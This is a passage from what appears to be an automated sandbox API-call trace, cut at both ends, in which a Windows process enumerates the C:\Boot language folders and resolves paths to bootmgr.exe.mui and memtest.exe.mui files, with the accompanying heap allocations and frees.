[0117.379] GetCurrentThreadId () returned 0x9b0 [0117.379] GetFileAttributesA (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0117.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.380] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.380] GetFileAttributesA (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0117.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0117.380] GetCurrentThreadId () returned 0x9b0 [0117.380] GetFullPathNameA (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.380] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.381] GetCurrentThreadId () returned 0x9b0 [0117.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0117.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.381] GetFullPathNameA (in: lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\ru-RU\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.381] GetCurrentThreadId () returned 0x9b0 [0117.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0117.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0117.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.382] GetCurrentThreadId () returned 0x9b0 [0117.382] FindFirstFileA (in: lpFileName="C:\\Boot\\sk-SK\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0117.382] GetCurrentThreadId () returned 0x9b0 [0117.382] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.382] GetCurrentThreadId () returned 0x9b0 [0117.382] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.382] GetCurrentThreadId () returned 0x9b0 [0117.382] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.383] GetCurrentThreadId () returned 0x9b0 [0117.383] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0117.383] GetFileAttributesA (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0117.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.383] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.383] GetCurrentThreadId () returned 0x9b0 [0117.383] GetFullPathNameA (in: lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\sk-SK\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.383] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.384] GetCurrentThreadId () returned 0x9b0 [0117.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0117.384] FindFirstFileA (in: lpFileName="C:\\Boot\\sl-SI\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0117.384] GetCurrentThreadId () returned 0x9b0 [0117.384] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.384] GetCurrentThreadId () returned 0x9b0 [0117.385] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.385] GetCurrentThreadId () returned 0x9b0 [0117.385] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.385] GetCurrentThreadId () returned 0x9b0 [0117.385] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0117.385] GetCurrentThreadId () returned 0x9b0 [0117.385] GetFileAttributesA (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0117.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0117.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.386] GetFullPathNameA (in: lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\sl-SI\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.386] GetCurrentThreadId () returned 0x9b0 [0117.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0117.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.386] GetCurrentThreadId () returned 0x9b0 [0117.386] FindFirstFileA (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7690 [0117.387] GetCurrentThreadId () returned 0x9b0 [0117.387] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.387] GetCurrentThreadId () returned 0x9b0 [0117.387] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.387] GetCurrentThreadId () returned 0x9b0 [0117.387] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.387] GetCurrentThreadId () returned 0x9b0 [0117.387] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.387] GetCurrentThreadId () returned 0x9b0 [0117.388] FindClose (in: hFindFile=0x10f7690 | out: hFindFile=0x10f7690) returned 1 [0117.388] GetFileAttributesA (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0117.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0117.388] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0117.388] GetCurrentThreadId () returned 0x9b0 [0117.388] GetFileAttributesA (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0117.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0117.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0117.389] GetCurrentThreadId () returned 0x9b0 [0117.389] GetFullPathNameA (in: lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x22 [0117.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0117.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0117.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.389] GetCurrentThreadId () returned 0x9b0 [0117.389] GetFullPathNameA (in: lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x22 [0117.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.390] GetCurrentThreadId () returned 0x9b0 [0117.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.390] FindFirstFileA (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7350 [0117.390] GetCurrentThreadId () returned 0x9b0 [0117.390] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.390] GetCurrentThreadId () returned 0x9b0 [0117.390] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.391] GetCurrentThreadId () returned 0x9b0 [0117.391] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.391] GetCurrentThreadId () returned 0x9b0 [0117.391] FindClose (in: hFindFile=0x10f7350 | out: hFindFile=0x10f7350) returned 1 [0117.391] GetCurrentThreadId () returned 0x9b0 [0117.391] GetFileAttributesA (lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0117.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0117.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0117.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.392] GetFullPathNameA (in: lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x22 [0117.392] GetCurrentThreadId () returned 0x9b0 [0117.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0117.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0117.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.393] GetCurrentThreadId () returned 0x9b0 [0117.393] FindFirstFileA (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0117.393] GetCurrentThreadId () returned 0x9b0 [0117.393] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.393] GetCurrentThreadId () returned 0x9b0 [0117.393] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.393] GetCurrentThreadId () returned 0x9b0 [0117.393] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.393] GetCurrentThreadId () returned 0x9b0 [0117.394] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.394] GetCurrentThreadId () returned 0x9b0 [0117.394] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0117.394] GetFileAttributesA (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0117.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0117.394] GetCurrentThreadId () returned 0x9b0 [0117.395] GetFileAttributesA (lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0117.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0117.395] GetCurrentThreadId () returned 0x9b0 [0117.395] GetFullPathNameA (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0117.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0117.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0117.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0117.395] GetCurrentThreadId () returned 0x9b0 [0117.396] GetFullPathNameA (in: lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\sv-SE\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0117.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0117.396] GetCurrentThreadId () returned 0x9b0 [0117.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0117.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0117.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0117.396] FindFirstFileA (in: lpFileName="C:\\Boot\\tr-TR\\*.*", 